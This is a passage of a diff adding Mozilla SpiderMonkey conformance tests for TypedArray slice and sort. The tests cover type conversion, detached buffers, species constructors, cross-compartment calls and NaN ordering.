+ from: Float64Array,
+ to: Int16Array,
+ values: [-Infinity, -2147483649, -2147483648, -2147483647, -32769, -32768, -32767, -129, -128, -127, -1.6, -1.5, -1.4, -1, -0, 0, 1, 1.4, 1.5, 1.6, 127, 128, 129, 32767, 32768, 32769, 2147483647, 2147483648, 2147483649, Infinity, NaN],
+ expected: [0, -1, 0, 1, 32767, -32768, -32767, -129, -128, -127, -1, -1, -1, -1, 0, 0, 1, 1, 1, 1, 127, 128, 129, 32767, -32768, -32767, -1, 0, 1, 0, 0],
+ },
+ {
+ from: Float64Array,
+ to: Uint16Array,
+ values: [-Infinity, -2147483649, -2147483648, -2147483647, -32769, -32768, -32767, -129, -128, -127, -1.6, -1.5, -1.4, -1, -0, 0, 1, 1.4, 1.5, 1.6, 127, 128, 129, 32767, 32768, 32769, 2147483647, 2147483648, 2147483649, Infinity, NaN],
+ expected: [0, 65535, 0, 1, 32767, 32768, 32769, 65407, 65408, 65409, 65535, 65535, 65535, 65535, 0, 0, 1, 1, 1, 1, 127, 128, 129, 32767, 32768, 32769, 65535, 0, 1, 0, 0],
+ },
+ {
+ from: Float64Array,
+ to: Int32Array,
+ values: [-Infinity, -2147483649, -2147483648, -2147483647, -32769, -32768, -32767, -129, -128, -127, -1.6, -1.5, -1.4, -1, -0, 0, 1, 1.4, 1.5, 1.6, 127, 128, 129, 32767, 32768, 32769, 2147483647, 2147483648, 2147483649, Infinity, NaN],
+ expected: [0, 2147483647, -2147483648, -2147483647, -32769, -32768, -32767, -129, -128, -127, -1, -1, -1, -1, 0, 0, 1, 1, 1, 1, 127, 128, 129, 32767, 32768, 32769, 2147483647, -2147483648, -2147483647, 0, 0],
+ },
+ {
+ from: Float64Array,
+ to: Uint32Array,
+ values: [-Infinity, -2147483649, -2147483648, -2147483647, -32769, -32768, -32767, -129, -128, -127, -1.6, -1.5, -1.4, -1, -0, 0, 1, 1.4, 1.5, 1.6, 127, 128, 129, 32767, 32768, 32769, 2147483647, 2147483648, 2147483649, Infinity, NaN],
+ expected: [0, 2147483647, 2147483648, 2147483649, 4294934527, 4294934528, 4294934529, 4294967167, 4294967168, 4294967169, 4294967295, 4294967295, 4294967295, 4294967295, 0, 0, 1, 1, 1, 1, 127, 128, 129, 32767, 32768, 32769, 2147483647, 2147483648, 2147483649, 0, 0],
+ },
+ {
+ from: Float64Array,
+ to: Float32Array,
+ values: [-Infinity, -2147483649, -2147483648, -2147483647, -32769, -32768, -32767, -129, -128, -127, -1.6, -1.5, -1.4, -1, -0, 0, 1, 1.4, 1.5, 1.6, 127, 128, 129, 32767, 32768, 32769, 2147483647, 2147483648, 2147483649, Infinity, NaN],
+ expected: [-Infinity, -2147483648, -2147483648, -2147483648, -32769, -32768, -32767, -129, -128, -127, -1.600000023841858, -1.5, -1.399999976158142, -1, -0, 0, 1, 1.399999976158142, 1.5, 1.600000023841858, 127, 128, 129, 32767, 32768, 32769, 2147483648, 2147483648, 2147483648, Infinity, NaN],
+ },
+ {
+ from: Float64Array,
+ to: Float64Array,
+ values: [-Infinity, -2147483649, -2147483648, -2147483647, -32769, -32768, -32767, -129, -128, -127, -1.6, -1.5, -1.4, -1, -0, 0, 1, 1.4, 1.5, 1.6, 127, 128, 129, 32767, 32768, 32769, 2147483647, 2147483648, 2147483649, Infinity, NaN],
+ expected: [-Infinity, -2147483649, -2147483648, -2147483647, -32769, -32768, -32767, -129, -128, -127, -1.6, -1.5, -1.4, -1, -0, 0, 1, 1.4, 1.5, 1.6, 127, 128, 129, 32767, 32768, 32769, 2147483647, 2147483648, 2147483649, Infinity, NaN],
+ },
+];
+
+for (let {from, to, values, expected} of tests) {
+ let ta = new from(values);
+ ta.constructor = to;
+ assertEqArray(ta.slice(0), expected, `${from.name} -> ${to.name}`);
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/TypedArray/slice-detached.js b/js/src/tests/non262/TypedArray/slice-detached.js
new file mode 100644
index 0000000000..be16653154
--- /dev/null
+++ b/js/src/tests/non262/TypedArray/slice-detached.js
@@ -0,0 +1,103 @@
+// Tests for detached ArrayBuffer checks in %TypedArray%.prototype.slice ( start, end ).
+
+function* createTypedArrays(lengths = [0, 1, 4, 4096]) {
+ // Test with eagerly created ArrayBuffer.
+ for (let length of lengths) {
+ let buffer = new ArrayBuffer(length * Int32Array.BYTES_PER_ELEMENT);
+ let typedArray = new Int32Array(buffer);
+
+ yield {typedArray, length, buffer() { return buffer; }};
+ }
+
+ // Test with lazily created ArrayBuffer.
+ for (let length of lengths) {
+ let typedArray = new Int32Array(length);
+
+ yield {typedArray, length, buffer() { return typedArray.buffer; }};
+ }
+}
+
+if (typeof detachArrayBuffer === "function") {
+ // ArrayBuffer is detached when entering slice().
+ for (let {typedArray, buffer} of createTypedArrays()) {
+ detachArrayBuffer(buffer());
+ assertThrowsInstanceOf(() => {
+ typedArray.slice(0);
+ }, TypeError, "ArrayBuffer is detached on function entry");
+ }
+
+ // ArrayBuffer is detached when computing ToInteger(start).
+ for (let {typedArray, length, buffer} of createTypedArrays()) {
+ let detached = false;
+ let start = {
+ valueOf() {
+ assertEq(detached, false);
+ detachArrayBuffer(buffer());
+ assertEq(detached, false);
+ detached = true;
+ return 0;
+ }
+ };
+
+ // Doesn't throw an error when no bytes are copied.
+ if (length === 0) {
+ typedArray.slice(start);
+ } else {
+ assertThrowsInstanceOf(() => {
+ typedArray.slice(start);
+ }, TypeError, "ArrayBuffer is detached in ToInteger(start)");
+ }
+ assertEq(detached, true, "detachArrayBuffer was called");
+ }
+
+ // ArrayBuffer is detached when computing ToInteger(end).
+ for (let {typedArray, length, buffer} of createTypedArrays()) {
+ let detached = false;
+ let end = {
+ valueOf() {
+ assertEq(detached, false);
+ detachArrayBuffer(buffer());
+ assertEq(detached, false);
+ detached = true;
+ return length;
+ }
+ };
+
+ // Doesn't throw an error when no bytes are copied.
+ if (length === 0) {
+ typedArray.slice(0, end);
+ } else {
+ assertThrowsInstanceOf(() => {
+ typedArray.slice(0, end);
+ }, TypeError, "ArrayBuffer is detached in ToInteger(end)");
+ }
+ assertEq(detached, true, "detachArrayBuffer was called");
+ }
+
+ // ArrayBuffer is detached in species constructor.
+ for (let {typedArray, length, buffer} of createTypedArrays()) {
+ let detached = false;
+ typedArray.constructor = {
+ [Symbol.species]: function(...args) {
+ assertEq(detached, false);
+ detachArrayBuffer(buffer());
+ assertEq(detached, false);
+ detached = true;
+ return new Int32Array(...args);
+ }
+ };
+
+ // Doesn't throw an error when no bytes are copied.
+ if (length === 0) {
+ typedArray.slice(0);
+ } else {
+ assertThrowsInstanceOf(() => {
+ typedArray.slice(0);
+ }, TypeError, "ArrayBuffer is detached in TypedArraySpeciesCreate(...)");
+ }
+ assertEq(detached, true, "detachArrayBuffer was called");
+ }
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/TypedArray/slice-memcpy.js b/js/src/tests/non262/TypedArray/slice-memcpy.js
new file mode 100644
index 0000000000..a20010ed16
--- /dev/null
+++ b/js/src/tests/non262/TypedArray/slice-memcpy.js
@@ -0,0 +1,84 @@
+const otherGlobal = newGlobal();
+
+// Create with new ArrayBuffer and offset.
+for (var constructor of typedArrayConstructors) {
+ const elementSize = constructor.BYTES_PER_ELEMENT;
+ let ab = new constructor(10).map((v, i) => i).buffer;
+ let ta = new constructor(ab, 2 * elementSize, 6);
+ ta.constructor = {
+ [Symbol.species]: function(len) {
+ return new constructor(new ArrayBuffer((len + 4) * elementSize), 4 * elementSize);
+ }
+ };
+ let tb = ta.slice(0);
+
+ assertEqArray(ta, [2, 3, 4, 5, 6, 7]);
+ assertEqArray(tb, [2, 3, 4, 5, 6, 7]);
+}
+
+// Source and target arrays use the same ArrayBuffer, target range before source range.
+for (var constructor of typedArrayConstructors) {
+ const elementSize = constructor.BYTES_PER_ELEMENT;
+ let ab = new constructor(10).map((v, i) => i).buffer;
+ let ta = new constructor(ab, 2 * elementSize, 6);
+ ta.constructor = {
+ [Symbol.species]: function(len) {
+ return new constructor(ab, 0, len);
+ }
+ };
+ let tb = ta.slice(0);
+
+ assertEqArray(ta, [4, 5, 6, 7, 6, 7]);
+ assertEqArray(tb, [2, 3, 4, 5, 6, 7]);
+ assertEqArray(new constructor(ab), [2, 3, 4, 5, 6, 7, 6, 7, 8, 9]);
+}
+
+// Source and target arrays use the same ArrayBuffer, target range after source range.
+for (var constructor of typedArrayConstructors) {
+ const elementSize = constructor.BYTES_PER_ELEMENT;
+ let ab = new constructor(10).map((v, i) => i + 1).buffer;
+ let ta = new constructor(ab, 0, 6);
+ ta.constructor = {
+ [Symbol.species]: function(len) {
+ return new constructor(ab, 2 * elementSize, len);
+ }
+ };
+ let tb = ta.slice(0);
+
+ assertEqArray(ta, [1, 2, 1, 2, 1, 2]);
+ assertEqArray(tb, [1, 2, 1, 2, 1, 2]);
+ assertEqArray(new constructor(ab), [1, 2, 1, 2, 1, 2, 1, 2, 9, 10]);
+}
+
+// Tricky: Same as above, but with SharedArrayBuffer and different compartments.
+if (this.setSharedObject && this.SharedArrayBuffer) {
+ for (var constructor of typedArrayConstructors) {
+ const elementSize = constructor.BYTES_PER_ELEMENT;
+ let ts = new constructor(new SharedArrayBuffer(10 * elementSize));
+ for (let i = 0; i < ts.length; i++) {
+ ts[i] = i + 1;
+ }
+ let ab = ts.buffer;
+ let ta = new constructor(ab, 0, 6);
+ ta.constructor = {
+ [Symbol.species]: function(len) {
+ setSharedObject(ab);
+ try {
+ return otherGlobal.eval(`
+ new ${constructor.name}(getSharedObject(), ${2 * elementSize}, ${len});
+ `);
+ } finally {
+ setSharedObject(null);
+ }
+ }
+ };
+ let tb = ta.slice(0);
+
+ assertEqArray(ta, [1, 2, 1, 2, 1, 2]);
+ assertEqArray(tb, [1, 2, 1, 2, 1, 2]);
+ assertEqArray(new constructor(ab), [1, 2, 1, 2, 1, 2, 1, 2, 9, 10]);
+ }
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/TypedArray/slice-species.js b/js/src/tests/non262/TypedArray/slice-species.js
new file mode 100644
index 0000000000..8a03f2f6ee
--- /dev/null
+++ b/js/src/tests/non262/TypedArray/slice-species.js
@@ -0,0 +1,49 @@
+for (var constructor of typedArrayConstructors) {
+ // Basic tests for our SpeciesConstructor implementation.
+ var undefConstructor = new constructor(2);
+ undefConstructor.constructor = undefined;
+ assertDeepEq(undefConstructor.slice(1), new constructor(1));
+
+ assertThrowsInstanceOf(() => {
+ var strConstructor = new constructor;
+ strConstructor.constructor = "not a constructor";
+ strConstructor.slice(123);
+ }, TypeError, "Assert that we have an invalid constructor");
+
+ // If obj.constructor[@@species] is undefined or null then the default
+ // constructor is used.
+ var mathConstructor = new constructor(8);
+ mathConstructor.constructor = Math.sin;
+ assertDeepEq(mathConstructor.slice(4), new constructor(4));
+
+ var undefSpecies = new constructor(2);
+ undefSpecies.constructor = { [Symbol.species]: undefined };
+ assertDeepEq(undefSpecies.slice(1), new constructor(1));
+
+ var nullSpecies = new constructor(2);
+ nullSpecies.constructor = { [Symbol.species]: null };
+ assertDeepEq(nullSpecies.slice(1), new constructor(1));
+
+ // If obj.constructor[@@species] is different constructor, it should be
+ // used.
+ for (var constructor2 of typedArrayConstructors) {
+ var modifiedConstructor = new constructor(2);
+ modifiedConstructor.constructor = constructor2;
+ assertDeepEq(modifiedConstructor.slice(1), new constructor2(1));
+
+ var modifiedSpecies = new constructor(2);
+ modifiedSpecies.constructor = { [Symbol.species]: constructor2 };
+ assertDeepEq(modifiedSpecies.slice(1), new constructor2(1));
+ }
+
+ // If obj.constructor[@@species] is neither undefined nor null, and it's
+ // not a constructor, TypeError should be thrown.
+ assertThrowsInstanceOf(() => {
+ var strSpecies = new constructor;
+ strSpecies.constructor = { [Symbol.species]: "not a constructor" };
+ strSpecies.slice(123);
+ }, TypeError);
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/TypedArray/slice-validation.js b/js/src/tests/non262/TypedArray/slice-validation.js
new file mode 100644
index 0000000000..28d50e36f4
--- /dev/null
+++ b/js/src/tests/non262/TypedArray/slice-validation.js
@@ -0,0 +1,194 @@
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+// Summary: Ensure typed array validation is called for TypedArray.prototype.slice.
+
+const otherGlobal = newGlobal({newCompartment: true});
+const typedArrayLengths = [0, 1, 1024];
+
+// Note: slice uses CallTypedArrayMethodIfWrapped, which results in throwing
+// a TypeError from the wrong Realm if cross-compartment. The browser
+// runner doesn't support the "newCompartment" option, so it can't create
+// cross-compartment globals, which means it throws the error from the
+// correct Realm.
+const eitherGlobalTypeError = {
+ [Symbol.hasInstance](obj) {
+ return obj instanceof TypeError || obj instanceof otherGlobal.TypeError;
+ }
+};
+
+function createTestCases(TAConstructor, constructor, constructorCrossRealm) {
+ let testCases = [];
+ testCases.push({
+ species: constructor,
+ method: TAConstructor.prototype.slice,
+ error: TypeError,
+ });
+ testCases.push({
+ species: constructorCrossRealm,
+ method: TAConstructor.prototype.slice,
+ error: TypeError,
+ });
+ testCases.push({
+ species: constructor,
+ method: otherGlobal[TAConstructor.name].prototype.slice,
+ error: eitherGlobalTypeError,
+ });
+ return testCases;
+}
+
+// Throws TypeError when the returned value is not a typed array.
+for (const TAConstructor of anyTypedArrayConstructors) {
+ let callCount = 0, expectedCallCount = 0;
+ function NoTypedArrayConstructor(...args) {
+ let a = [];
+ callCount += 1;
+ return a;
+ }
+ function NoTypedArrayConstructorCrossRealm(...args) {
+ let a = new otherGlobal.Array();
+ callCount += 1;
+ return a;
+ }
+ let testCases = createTestCases(TAConstructor, NoTypedArrayConstructor, NoTypedArrayConstructorCrossRealm);
+
+ for (let {species, method, error} of testCases) {
+ for (let length of typedArrayLengths) {
+ let ta = new TAConstructor(length);
+ ta.constructor = {[Symbol.species]: species};
+ assertThrowsInstanceOf(() => method.call(ta, 0), error);
+ assertEq(callCount, ++expectedCallCount);
+ }
+ }
+
+ for (let {species, method, error} of testCases) {
+ for (let length of typedArrayLengths) {
+ let ta = new TAConstructor(length);
+ ta.constructor = {[Symbol.species]: species};
+ assertThrowsInstanceOf(() => method.call(ta, 0, 0), error);
+ assertEq(callCount, ++expectedCallCount);
+ }
+ }
+}
+
+// Throws TypeError exception when returned array is too small.
+for (const TAConstructor of anyTypedArrayConstructors) {
+ let callCount = 0, expectedCallCount = 0;
+ function TooSmallConstructor(length) {
+ let a = new TAConstructor(Math.max(length - 1, 0));
+ callCount += 1;
+ return a;
+ }
+ function TooSmallConstructorCrossRealm(length) {
+ let a = new otherGlobal[TAConstructor.name](Math.max(length - 1, 0));
+ callCount += 1;
+ return a;
+ }
+ let testCases = createTestCases(TAConstructor, TooSmallConstructor, TooSmallConstructorCrossRealm);
+
+ for (let {species, method, error} of testCases) {
+ for (let length of typedArrayLengths) {
+ let ta = new TAConstructor(length);
+ ta.constructor = {[Symbol.species]: species};
+
+ // Passes when the length is zero.
+ if (length === 0) {
+ let result = method.call(ta, 0);
+ assertEq(result.length, 0);
+ } else {
+ assertThrowsInstanceOf(() => method.call(ta, 0), error);
+ }
+ assertEq(callCount, ++expectedCallCount);
+ }
+ }
+
+ for (let {species, method, error} of testCases) {
+ for (let length of typedArrayLengths) {
+ let ta = new TAConstructor(length);
+ ta.constructor = {[Symbol.species]: species};
+ let result = method.call(ta, 0, 0);
+ assertEq(result.length, 0);
+ assertEq(callCount, ++expectedCallCount);
+ }
+ }
+}
+
+// No exception when array is larger than requested.
+for (const TAConstructor of anyTypedArrayConstructors) {
+ const extraLength = 1;
+
+ let callCount = 0, expectedCallCount = 0;
+ function TooLargeConstructor(length) {
+ let a = new TAConstructor(length + extraLength);
+ callCount += 1;
+ return a;
+ }
+ function TooLargeConstructorCrossRealm(length) {
+ let a = new otherGlobal[TAConstructor.name](length + extraLength);
+ callCount += 1;
+ return a;
+ }
+ let testCases = createTestCases(TAConstructor, TooLargeConstructor, TooLargeConstructorCrossRealm);
+
+ for (let {species, method, error} of testCases) {
+ for (let length of typedArrayLengths) {
+ let ta = new TAConstructor(length);
+ ta.constructor = {[Symbol.species]: species};
+ let result = method.call(ta, 0);
+ assertEq(result.length, length + extraLength);
+ assertEq(callCount, ++expectedCallCount);
+ }
+ }
+
+ for (let {species, method, error} of testCases) {
+ for (let length of typedArrayLengths) {
+ let ta = new TAConstructor(length);
+ ta.constructor = {[Symbol.species]: species};
+ let result = method.call(ta, 0, 0);
+ assertEq(result.length, extraLength);
+ assertEq(callCount, ++expectedCallCount);
+ }
+ }
+}
+
+// Throws TypeError exception when returned array is detached.
+if (typeof detachArrayBuffer === "function") {
+ for (const TAConstructor of typedArrayConstructors) {
+ let callCount = 0, expectedCallCount = 0;
+ function DetachConstructor(...args) {
+ let a = new TAConstructor(...args);
+ detachArrayBuffer(a.buffer);
+ callCount += 1;
+ return a;
+ }
+ function DetachConstructorCrossRealm(...args) {
+ let a = new otherGlobal[TAConstructor.name](...args);
+ otherGlobal.detachArrayBuffer(a.buffer);
+ callCount += 1;
+ return a;
+ }
+ let testCases = createTestCases(TAConstructor, DetachConstructor, DetachConstructorCrossRealm);
+
+ for (let {species, method, error} of testCases) {
+ for (let length of typedArrayLengths) {
+ let ta = new TAConstructor(length);
+ ta.constructor = {[Symbol.species]: species};
+ assertThrowsInstanceOf(() => method.call(ta, 0), error);
+ assertEq(callCount, ++expectedCallCount);
+ }
+ }
+
+ for (let {species, method, error} of testCases) {
+ for (let length of typedArrayLengths) {
+ let ta = new TAConstructor(length);
+ ta.constructor = {[Symbol.species]: species};
+ assertThrowsInstanceOf(() => method.call(ta, 0, 0), error);
+ assertEq(callCount, ++expectedCallCount);
+ }
+ }
+ }
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/TypedArray/slice.js b/js/src/tests/non262/TypedArray/slice.js
new file mode 100644
index 0000000000..0a5ce4c50b
--- /dev/null
+++ b/js/src/tests/non262/TypedArray/slice.js
@@ -0,0 +1,45 @@
+for (var constructor of anyTypedArrayConstructors) {
+ assertDeepEq(constructor.prototype.slice.length, 2);
+
+ assertDeepEq(new constructor().slice(0), new constructor());
+ assertDeepEq(new constructor().slice(0, 4), new constructor());
+ assertDeepEq(new constructor(10).slice(0, 2), new constructor(2));
+
+ assertDeepEq(new constructor([1, 2]).slice(1), new constructor([2]));
+ assertDeepEq(new constructor([1, 2]).slice(0), new constructor([1, 2]));
+ assertDeepEq(new constructor([1, 2, 3]).slice(-1), new constructor([3]));
+ assertDeepEq(new constructor([1, 2, 3, 4]).slice(-3, -1), new constructor([2, 3]));
+ assertDeepEq(new constructor([.1, .2]).slice(0), new constructor([.1, .2]));
+
+ assertDeepEq(new constructor([1, 2]).slice(-3), new constructor([1, 2]));
+ assertDeepEq(new constructor([1, 2]).slice(0, -3), new constructor());
+ assertDeepEq(new constructor([1, 2]).slice(4), new constructor());
+ assertDeepEq(new constructor([1, 2]).slice(1, 5), new constructor([2]));
+
+ // Called from other globals.
+ if (typeof newGlobal === "function") {
+ var slice = newGlobal()[constructor.name].prototype.slice;
+ assertDeepEq(slice.call(new constructor([3, 2, 1]), 1),
+ new constructor([2, 1]));
+ }
+
+ // Throws if `this` isn't a TypedArray.
+ var invalidReceivers = [undefined, null, 1, false, "", Symbol(), [], {}, /./,
+ new Proxy(new constructor(), {})];
+ invalidReceivers.forEach(invalidReceiver => {
+ assertThrowsInstanceOf(() => {
+ constructor.prototype.slice.call(invalidReceiver, 0);
+ }, TypeError, "Assert that slice fails if this value is not a TypedArray");
+ });
+
+ // Test that the length getter is never called.
+ Object.defineProperty(new constructor([1, 2, 3]), "length", {
+ get() {
+ throw new Error("length accessor called");
+ }
+ }).slice(2);
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
diff --git a/js/src/tests/non262/TypedArray/sort-negative-nan.js b/js/src/tests/non262/TypedArray/sort-negative-nan.js
new file mode 100644
index 0000000000..cf9a67714b
--- /dev/null
+++ b/js/src/tests/non262/TypedArray/sort-negative-nan.js
@@ -0,0 +1,106 @@
+// Test with all floating point typed arrays.
+const floatConstructors = anyTypedArrayConstructors.filter(isFloatConstructor);
+
+// Also test with cross-compartment wrapped typed arrays.
+if (typeof newGlobal === "function") {
+ const otherGlobal = newGlobal();
+ floatConstructors.push(otherGlobal.Float32Array);
+ floatConstructors.push(otherGlobal.Float64Array);
+}
+
+function* prod(xs, ys) {
+ for (let x of xs) {
+ for (let y of ys) {
+ yield [x, y];
+ }
+ }
+}
+
+const isLittleEndian = new Uint8Array(new Uint16Array([1]).buffer)[0] !== 0;
+
+function seti32(i32, i, v) {
+ i32[i] = v;
+}
+
+function seti64(i32, i, [hi, lo]) {
+ i32[i * 2 + isLittleEndian] = hi;
+ i32[i * 2 + !isLittleEndian] = lo;
+}
+
+const setInt = {
+ Float32: seti32,
+ Float64: seti64,
+};
+
+const NaNs = {
+ Float32: [
+ 0x7F800001|0, // smallest SNaN
+ 0x7FBFFFFF|0, // largest SNaN
+ 0x7FC00000|0, // smallest QNaN
+ 0x7FFFFFFF|0, // largest QNaN
+ 0xFF800001|0, // smallest SNaN, sign-bit set
+ 0xFFBFFFFF|0, // largest SNaN, sign-bit set
+ 0xFFC00000|0, // smallest QNaN, sign-bit set
+ 0xFFFFFFFF|0, // largest QNaN, sign-bit set
+ ],
+ Float64: [
+ [0x7FF00000|0, 0x00000001|0], // smallest SNaN
+ [0x7FF7FFFF|0, 0xFFFFFFFF|0], // largest SNaN
+ [0x7FF80000|0, 0x00000000|0], // smallest QNaN
+ [0x7FFFFFFF|0, 0xFFFFFFFF|0], // largest QNaN
+ [0xFFF00000|0, 0x00000001|0], // smallest SNaN, sign-bit set
+ [0xFFF7FFFF|0, 0xFFFFFFFF|0], // largest SNaN, sign-bit set
+ [0xFFF80000|0, 0x00000000|0], // smallest QNaN, sign-bit set
+ [0xFFFFFFFF|0, 0xFFFFFFFF|0], // largest QNaN, sign-bit set
+ ],
+};
+
+// %TypedArray%.prototype.sort
+const TypedArraySort = Int32Array.prototype.sort;
+
+// Test with small and large typed arrays.
+const typedArrayLengths = [16, 4096];
+
+for (const [TA, taLength] of prod(floatConstructors, typedArrayLengths)) {
+ let type = TA.name.slice(0, -"Array".length);
+ let nansLength = NaNs[type].length;
+ let fta = new TA(taLength);
+ let i32 = new Int32Array(fta.buffer);
+
+ // Add NaNs in various representations at the start of the typed array.
+ for (let i = 0; i < nansLength; ++i) {
+ setInt[type](i32, i, NaNs[type][i]);
+ }
+
+ // Also add two non-NaN values for testing.
+ fta[nansLength] = 123;
+ fta[nansLength + 1] = -456;
+
+ // Sort the array and validate sort() sorted all elements correctly.
+ TypedArraySort.call(fta);
+
+ // |-456| should be sorted to the start.
+ assertEq(fta[0], -456);
+
+ // Followed by a bunch of zeros,
+ const zeroOffset = 1;
+ const zeroCount = taLength - nansLength - 2;
+ for (let i = 0; i < zeroCount; ++i) {
+ assertEq(fta[zeroOffset + i], 0, `At offset: ${zeroOffset + i}`);
+ }
+
+ // and then |123|.
+ assertEq(fta[zeroOffset + zeroCount], 123);
+
+ // And finally the NaNs.
+ const nanOffset = zeroCount + 2;
+ for (let i = 0; i < nansLength; ++i) {
+ // We don't assert a specific NaN value is present, because this is
+ // not required by the spec and we don't provide any guarantees NaN
+ // values are either unchanged or canonicalized in sort().
+ assertEq(fta[nanOffset + i], NaN, `At offset: ${nanOffset + i}`);
+ }
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/TypedArray/sort-non-function.js b/js/src/tests/non262/TypedArray/sort-non-function.js
new file mode 100644
index 0000000000..bea810457a
--- /dev/null
+++ b/js/src/tests/non262/TypedArray/sort-non-function.js
@@ -0,0 +1,22 @@
+// %TypedArray%.prototype.sort throws if the comparator is neither undefined nor
+// a callable object.
+
+// Use a zero length typed array, so we can provide any kind of callable object
+// without worrying that the function is actually a valid comparator function.
+const typedArray = new Int32Array(0);
+
+// Throws if the comparator is neither undefined nor callable.
+for (let invalidComparator of [null, 0, true, Symbol(), {}, []]) {
+ assertThrowsInstanceOf(() => typedArray.sort(invalidComparator), TypeError);
+}
+
+// Doesn't throw if the comparator is undefined or a callable object.
+for (let validComparator of [undefined, () => {}, Math.max, class {}, new Proxy(function(){}, {})]) {
+ typedArray.sort(validComparator);
+}
+
+// Also doesn't throw if no comparator was provided at all.
+typedArray.sort();
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/TypedArray/sort_basics.js b/js/src/tests/non262/TypedArray/sort_basics.js
new file mode 100644
index 0000000000..3338861507
--- /dev/null
+++ b/js/src/tests/non262/TypedArray/sort_basics.js
@@ -0,0 +1,73 @@
+// Note: failed runs should include their "SEED" value in error messages,
+// setting "const SEED" to that value will recreate the data from any such run.
+const SEED = (Math.random() * 10) + 1;
+
+// Fill up an array buffer with random values and return it in raw form.
+// 'size' is the desired length of the view we will place atop the buffer,
+// 'width' is the bit-width of the view we plan on placing atop the buffer,
+// and 'seed' is an initial value supplied to a pseudo-random number generator.
+function genRandomArrayBuffer(size, width, seed) {
+ let buf = new ArrayBuffer((width / 8) * size);
+ let arr = new Uint8Array(buf);
+ let len = 0;
+ // We generate a random number, n, where 0 <= n <= 255 for every space
+ // available in our buffer.
+ for (let n of XorShiftGenerator(seed, buf.byteLength))
+ arr[len++] = n;
+ return buf;
+}
+
+// Because we can generate any possible combination of bits, some floating point
+// entries will take on -Infinity, Infinity, and NaN values. This function ensures
+// that a is <= b, where, like the default comparator, -Infinity < Infinity and
+// every non-NaN < NaN.
+function lte(a, b) {
+ if (isNaN(b))
+ return true;
+ return a <= b;
+}
+
+// A a >= b counterpart to the helper function above.
+function gte(a, b) {
+ return lte(b, a);
+}
+
+// A custom comparator.
+function cmp(a, b) {
+ return lte(a, b) ? gte(a, b) ? 0 : -1 : 1;
+}
+
+function SortTest(dataType, dataSource) {
+ let typedArray = new dataType(dataSource);
+ let originalValues = Array.from(typedArray);
+
+ // Test the default comparator
+ typedArray.sort();
+
+ // Test against regular array sort
+ assertEqArray(Array.from(typedArray), Array.from(originalValues).sort(cmp),
+ `The array is not properly sorted! seed: ${SEED}`);
+
+ // Another sanity check
+ for (let i=0; i < typedArray.length - 1; i++)
+ assertEq(lte(typedArray[i], typedArray[i + 1]), true,
+ `The array is not properly sorted! ${typedArray[i]} > ${typedArray[i + 1]}, seed: ${SEED}`)
+
+ // Test custom comparators
+ typedArray.sort((x, y) => cmp(y, x));
+
+ // The array should be in reverse order
+ for (let i=typedArray.length - 2; i >= 0; i--)
+ assertEq(gte(typedArray[i], typedArray[i + 1]), true,
+ `The array is not properly sorted! ${typedArray[i]} < ${typedArray[i + 1]}, seed: ${SEED}`)
+}
+
+for (let constructor of anyTypedArrayConstructors) {
+ for (let arrayLength of [512, 256, 16, 0]) {
+ let source = genRandomArrayBuffer(arrayLength, constructor.BYTES_PER_ELEMENT * 8, SEED);
+ SortTest(constructor, source);
+ }
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/TypedArray/sort_byteoffset.js b/js/src/tests/non262/TypedArray/sort_byteoffset.js
new file mode 100644
index 0000000000..b4e262c450
--- /dev/null
+++ b/js/src/tests/non262/TypedArray/sort_byteoffset.js
@@ -0,0 +1,30 @@
+// Ensure that when sorting TypedArrays we don't
+// ignore byte offsets (bug 1290579).
+
+var sortFunctions = [Int32Array.prototype.sort];
+
+// Also test with cross-compartment wrapped typed arrays.
+if (typeof newGlobal === "function") {
+ var otherGlobal = newGlobal();
+ sortFunctions.push(newGlobal().Int32Array.prototype.sort);
+}
+
+// The bug manifests itself only with Float arrays,
+// but checking everything here just for sanity.
+
+for (var ctor of anyTypedArrayConstructors) {
+ var ab = new ArrayBuffer(1025 * ctor.BYTES_PER_ELEMENT);
+ var ta = new ctor(ab, ctor.BYTES_PER_ELEMENT, 1024);
+
+ // |testArray[0]| shouldn't be modified when sort() is called below.
+ var testArray = new ctor(ab, 0, 1);
+ testArray[0] = 1;
+
+ for (var sortFn of sortFunctions) {
+ sortFn.call(ta);
+ assertEq(testArray[0], 1);
+ }
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/TypedArray/sort_comparators.js b/js/src/tests/non262/TypedArray/sort_comparators.js
new file mode 100644
index 0000000000..ca190948fc
--- /dev/null
+++ b/js/src/tests/non262/TypedArray/sort_comparators.js
@@ -0,0 +1,32 @@
+// Ensure that sorts finish even if a comparator adds items
+// Note: the array is not expected to be properly sorted.
+let outsideArray = new Int32Array([1, 99, 2]);
+function addingComparator(x, y) {
+ if (x == 99 || y == 99) {
+ outsideArray[0] = 101;
+ outsideArray[outsideArray.length - 1] = 102;
+ }
+ return x - y;
+}
+outsideArray.sort(addingComparator);
+assertEq(outsideArray.every(x => [1, 2, 99, 101, 102].includes(x)), true);
+
+// Ensure that sorts finish even if a comparator calls sort again
+// Note: the array is not expected to be properly sorted.
+outsideArray = new Int32Array([1, 99, 2]);
+function recursiveComparator(x, y) {
+ outsideArray.sort();
+ return x - y;
+}
+outsideArray.sort(recursiveComparator);
+assertEq(outsideArray.every(x => outsideArray.includes(x)), true)
+
+// Ensure that NaN's returned from custom comparators behave as / are converted
+// to +0s.
+let nanComparatorData = [2112, 42, 1111, 34];
+let nanComparatorArray = new Int32Array(nanComparatorData);
+nanComparatorArray.sort((x, y) => NaN);
+assertEq(nanComparatorData.every(x => nanComparatorArray.includes(x)), true);
